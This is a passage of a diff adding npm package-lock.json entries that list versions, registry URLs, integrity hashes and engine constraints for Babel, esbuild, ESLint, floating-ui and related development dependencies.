"sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", + "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/template": { + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", + "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.5", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.5", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.5", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", + "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.0.tgz", + "integrity": "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz", + "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^2.1.7", + "debug": "^4.3.1", + "minimatch": "^3.1.2" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", + "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/core": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", + "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz", + "integrity": "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^10.0.1", + "globals": "^14.0.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", + "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/js": { + "version": "9.39.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.1.tgz", + "integrity": "sha512-S26Stp4zCy88tH94QbBv3XCuzRQiZ9yXofEILmglYTh/Ug/a9/umqvgFtYBAo3Lp0nsI/5/qH1CCrbdK3AP1Tw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + } + }, + "node_modules/@eslint/object-schema": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", + "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", + "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0", + "levn": "^0.4.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.7.3.tgz", + "integrity": "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w==", + "dependencies": { + "@floating-ui/utils": "^0.2.10" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.7.4.tgz", + "integrity": "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA==", + "dependencies": { + "@floating-ui/core": "^1.7.3", + "@floating-ui/utils": "^0.2.10" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.6.tgz", + "integrity": "sha512-4JX6rEatQEvlmgU80wZyq9RT96HZJa88q8hp0pBd+LrczeDI4o6uA2M+uvxngVHo4Ihr8uibXxH6+70zhAFrVw==", + "dependencies": { + "@floating-ui/dom": "^1.7.4" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.10", + "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.10.tgz", + "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==" + }, + "node_modules/@hookform/resolvers": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-5.2.2.tgz", + "integrity": "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA==", + "dependencies": { + "@standard-schema/utils": "^0.3.0" + }, + "peerDependencies": { + "react-hook-form": "^7.55.0" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", + "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.7", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", + "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.1", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@radix-ui/primitive": { + "version": "1.1.3", + "resolved": 